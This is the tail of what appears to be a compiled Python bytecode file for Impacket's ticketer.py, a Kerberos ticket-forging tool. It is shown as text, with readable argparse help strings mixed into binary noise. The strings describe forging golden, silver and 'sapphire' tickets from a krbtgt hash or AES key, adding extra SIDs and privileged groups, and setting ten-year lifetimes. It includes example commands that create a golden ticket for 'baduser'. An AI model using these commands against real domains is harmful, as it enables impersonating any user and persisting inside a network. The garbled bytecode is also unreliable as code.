store_trueFzlRequests ticket to domain and clones it changing only the supplied information. It requires specifying -user)rì  Údefaultrí  ú-domainz2the fully qualified domain name (e.g. contoso.com))rì  Úrequiredrí  ú-domain-sidz@Domain SID of the target domain the ticker will be generated forú-aesKeyzhex keyz5AES key used for signing the ticket (128 or 256 bits))rì  Úmetavarrí  ú-nthashz#NT hash used for signing the ticketz-keytabz7Read keys for SPN from keytab file (silver ticket only)z-groupsz513, 512, 520, 518, 519zVcomma separated list of groups user will belong to (default = 513, 512, 520, 518, 519)ú-user-idr}  zCuser id for the user the ticket will be created for (default = 500)z
-extra-sidzHComma separated list of ExtraSids to be included inside the ticket's PACz
-extra-pacz-Populate your ticket with extra PAC (UPN_DNS)z-old-pacz^Use the old PAC structure to create your ticket (exclude PAC_ATTRIBUTES_INFO and PAC_REQUESTORz	-durationÚ87600z}Amount of hours till the ticket expires (default = 24*365*10). Ignored with -request, which preserves the KDC-issued lifetimez-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONÚauthenticationú-userzZdomain/username to be used if -request is chosen (it can be different from domain/usernameú	-passwordzpassword for domain/usernamez-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz-impersonatez¦Sapphire ticket. target username that will be impersonated (through S4U2Self+U2U) for querying the ST and extracting the PAC, which will be included in the new ticketrR   z
Examples: zp	./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
zd	will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.z^	If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256zc	(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved asz	baduser.ccache.
zÛ	./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser
z`	will first authenticate against the KDC (using -user/-password) and get a TGT that will be usedzc	as template for customization. Whatever encryption algorithms used on that ticket will be honored,zf	hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'z	and saved as baduser.ccachezDomain should be specified!z7You have to specify either aesKey, or nthash, or keytabzMYou cannot specify both -aesKey and -nthash w/o using -request. Pick only onez.-request parameter needs -user to be specified)Úgetpassz	Password:c                 C   s(   g | ]\}}|d u s|dkr|s|‘qS )Nrî  rf   )r  ÚparamÚ
param_namerf   rf   rg   r‚  >  s
    ðr‚  )rî  rô  rö  rñ  rú  rû  ró  r÷  z+missing parameters to do sapphire ticket : z, z=missing parameter -user-id. Must be set if not doing -old-pacz7doing sapphire ticket, ignoring following parameters : zWparameter -user-id will be ignored when specifying -old-pac in a sapphire ticket attack) Ú
__future__r   r   ÚargparserÄ   r•   rb  rˆ  rW  ÚsysÚcalendarr   Útimer   Úbinasciir   Úsixr   Úpyasn1.codec.derr   r	   Úpyasn1.type.univr
   Úimpacketr   Úimpacket.dcerpc.v5.dtypesr   r   Úimpacket.dcerpc.v5.ndrr   Úimpacket.dcerpc.v5.samrr   r   r   r   r   r   r   Úimpacket.examplesr   Úimpacket.krb5.asn1r   r   r   r   r   r   r   r   Úimpacket.krb5.constantsr   r    r!   r"   r#   r$   r%   r&   r'   r(   Úimpacket.krb5.keytabr)   Úimpacket.krb5.cryptor*   r+   r,   r-   Úimpacket.krb5.pacr.   r/   r0   r1   r2   r3   r4   r5   r6   r7   r8   r9   r:   r;   r<   r=   Úimpacket.krb5.typesr>   r?   Úimpacket.krb5.kerberosv5r@   rA   Úimpacket.krb5rB   rC   rD   rE   rF   rG   rH   rI   rJ   rd  rK   rL   rM   rN   Úimpacket.winregistryrO   rP   rä  rR  ÚBANNERÚArgumentParserÚparserÚadd_argumentÚadd_argument_grouprÓ   rË   ÚargvÚ
print_helpÚexitÚ
parse_argsre   ÚinitÚtsrQ  rd   r%  r’   r”   r_   Úerrorr  r   r  rc   rü  r(  ÚziprÏ   rÉ   Úmissing_paramsr¤  rè   Úignored_paramsræ   rÌ   r§  rÊ   r™  rb   Úexecuterrã  r©  ÚerN  rO  rP  Ú	tracebackÚ	print_excrK  rf   rf   rf   rg   Ú<module>   s  /$(0H$       





$

$



$
üùý



€ü �ÿ